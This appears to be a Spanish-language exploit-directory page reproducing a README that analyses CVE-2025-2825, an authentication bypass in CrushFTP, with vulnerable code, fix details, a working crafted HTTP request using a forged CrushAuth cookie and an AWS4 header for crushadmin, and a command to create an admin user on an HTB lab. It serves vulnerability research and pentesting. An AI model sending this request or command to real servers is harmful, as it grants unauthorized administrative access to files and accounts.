Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-2825 — Análisis detallado y exploit PoC para CVE-2025-2825, una omisión de autenticación en CrushFTP. Incluye plantillas de nuclei, escáner multihilo y script de creación de usuarios para pruebas de penetración. | Kitploit
Herramientas/GitHubGitHub/iteride/cve-2025-2825
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubiteride/cve-2025-2825

CVE-2025-2825

Análisis detallado y exploit PoC para CVE-2025-2825, una omisión de autenticación en CrushFTP. Incluye plantillas de nuclei, escáner multihilo y script de creación de usuarios para pruebas de penetración.

Ver Repositorio
119hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-2825/CVE-2025-31161

Introducción

Este documento presenta la investigación de la vulnerabilidad CVE-2025-2825, que afecta al servidor CrushFTP, una solución comercial para la transferencia y almacenamiento de archivos (FTP, SFTP, HTTP/S, interfaces similares a S3, etc.).

El defecto se clasifica como bypass de autenticación, que permite a un atacante remoto no autenticado obtener privilegios de administrador. La explotación exitosa otorga acceso con privilegios crushadmin, visualización y modificación de archivos, gestión de cuentas de usuario y ejecución de operaciones administrativas a través de la interfaz web y la API de CrushFTP.

Versiones afectadas reportadas (según avisos públicos e informes de investigadores):

  • CrushFTP 10.0.0 — 10.8.3
  • CrushFTP 11.0.0 — 11.3.0

⚠️ Nota: en algunas publicaciones aparecen duplicados y superposiciones de identificadores CVE (por ejemplo, CVE-2025-31161).


Objetivo del informe

Analizar paso a paso la vulnerabilidad y demostrar el ciclo completo de investigación, que incluye:

  1. Recopilación y análisis de materiales — sistematización de avisos, PoC, análisis técnicos y publicaciones sobre CVE-2025-2825; formulación de la esencia del defecto y su impacto.
  2. Determinación de CPE y condiciones — lista de CPE/versiones relevantes y configuraciones en las que se reproduce la vulnerabilidad (interfaces web, endpoints compatibles con S3, etc.).
  3. Desarrollo de PoC/Exploit — preparación de un PoC reproducible en un entorno controlado; descripción de la arquitectura y medidas para minimizar daños.
  4. Métodos de verificación masiva — tres enfoques para la búsqueda segura de hosts vulnerables:
    • escaneo activo con nuclei;
    • nuclei pasivo (por versiones e indicios indirectos sin explotación);
    • script propio (Python/Go) para verificación controlada.
  5. Recomendaciones y mitigación — consejos prácticos para detección, parcheo y protección de instancias.
  6. Práctica segura de pruebas — listas de verificación para realizar pruebas solo en entornos autorizados.

Impacto práctico

Según informes públicos, la vulnerabilidad tiene riesgo crítico:

  • La explotación otorga acceso administrativo a la instancia de CrushFTP.
  • Consecuencias: robo/modificación de archivos, creación/eliminación de usuarios, instalación de backdoors, uso del servidor para ataques posteriores.
  • CVSS se evalúa como crítico (alrededor de 9.8).
  • En la comunidad se han registrado PoC y signos de explotación «en estado salvaje».

CPE / configuraciones objetivo

Son críticas las instancias con las siguientes características:

  • Producto: CrushFTP (cualquier edición con interfaz web).
  • Versiones: 10.0.0 — 10.8.3, 11.0.0 — 11.3.0.
  • Configuraciones de alto riesgo:
    • Interfaz web administrativa pública habilitada (HTTP/S).
    • Endpoints de API compatibles con S3 activados.
    • Sin medidas de protección adicionales (filtrado IP, 2FA).
    • Configuraciones erróneas de proxy/balanceadores que hacen accesibles endpoints internos desde el exterior.

Comprensión de la vulnerabilidad

CrushFTP implementa soporte para una API similar a S3. Para la autenticación se utiliza el encabezado Authorization de la forma:

Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>

El servidor extrae el AccessKey de Credential y debería verificar la firma. Sin embargo, se cometió un error en el código al manejar el flag lookup_user_pass.

  • Código vulnerable (fragmento simplificado):
// ServerSessionHTTP.java, método loginCheckHeaderAuth()
if (this.headerLookup.containsKey("AUTHORIZATION") &&
    this.headerLookup.getProperty("AUTHORIZATION").trim().startsWith("AWS4-HMAC")) {
    
    boolean lookup_user_pass = true;   // ← error crítico
    
    if (s3_username3.indexOf("~") >= 0) {
        user_pass = user_name.substring(user_name.indexOf("~") + 1);
        user_name = user_name.substring(0, user_name.indexOf("~"));
        lookup_user_pass = false;
    }
    
    if (this.thisSession.login_user_pass(
            lookup_user_pass,
            false,
            user_name,
            lookup_user_pass ? "" : user_pass)) {
        // Autenticación exitosa
    }
}
  • Lógica posterior:

El flag lookup_user_pass se pasa directamente como anyPass:

if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
    return user;  // autenticación sin verificar contraseña
}

Por lo tanto:

  • Si el nombre de usuario se especifica sin el carácter ~, el flag permanece en true.
  • No se realiza la verificación de la contraseña.
  • El atacante puede autenticarse indicando solo un nombre de usuario existente (por ejemplo, crushadmin).
  • Junto con una cookie CrushAuth formalmente válida y el parámetro c2f, esto permite eludir la autenticación y obtener acceso administrativo.

Corrección

En la versión 11.3.1 y posteriores, los desarrolladores:

  • Agregaron el parámetro s3_auth_lookup_password_supported (por defecto false), que bloquea el escenario vulnerable.
  • Introdujeron verificaciones tempranas del nombre de usuario con ~.
  • Separaron la lógica de los flags, eliminando la sustitución de lookup_user_pass → anyPass.
  • Recomendación: actualizar inmediatamente CrushFTP a 11.3.1+ o aplicar el workaround desactivando s3_auth_lookup_password_supported.

POC/Exploit

La explotación de CVE-2025-2825 es bastante simple y no requiere una preparación compleja. El atacante solo necesita enviar una solicitud HTTP especialmente diseñada que contenga dos elementos clave:

  • Encabezado Authorization en formato AWS S3, que contenga el nombre de usuario existente correcto (campo Credential con AccessKey/username).
  • Cookie CrushAuth en el formato esperado y el parámetro c2f en la URL/cuerpo de la solicitud, cuyos valores se corresponden lógicamente (el formato de la cookie debe coincidir con la estructura esperada por el servidor).

Si el servidor es vulnerable (versión en el rango 10.0.0—10.8.3 o 11.0.0—11.3.0 y no se ha aplicado el parche correctivo), esta combinación hace que el manejador de autenticación siga la ruta vulnerable, donde el flag de búsqueda de contraseña (lookup_user_pass) se interpreta como «cualquier contraseña es válida», y el usuario se autentica solo por el nombre sin verificar la contraseña.

Nota importante:

La explotación de esta vulnerabilidad generalmente requiere el envío de dos solicitudes consecutivas. La primera, denominada solicitud de «calentamiento» (warm-up), inicia el proceso de autenticación vulnerable en el servidor. Un signo característico de que el servidor ha entrado en el estado deseado es recibir como respuesta un error 502 Bad Gateway o simplemente un tiempo de espera agotado (timeout). Inmediatamente después se envía la segunda solicitud, la principal, que realiza la acción útil (por ejemplo, crear un usuario), mientras el servidor se encuentra en el estado vulnerable al ataque.

GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Host: target-server:8080
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Para la prueba, tomé el laboratorio lanzado recientemente en HTB — Soulmate, donde precisamente se requiere explotar CrushFTP.

crush

Avance posterior:

Gracias a esta vulnerabilidad, se puede agregar un nuevo usuario con derechos de administrador mediante el comando setUserItem. Para ello, ejecute new_user.py:

python3 new_user.py --target_host http://ftp.soulmate.htb/ --port 80 --target_user crushadmin --new_user literide --password literide

Por qué funciona

Descargar herramienta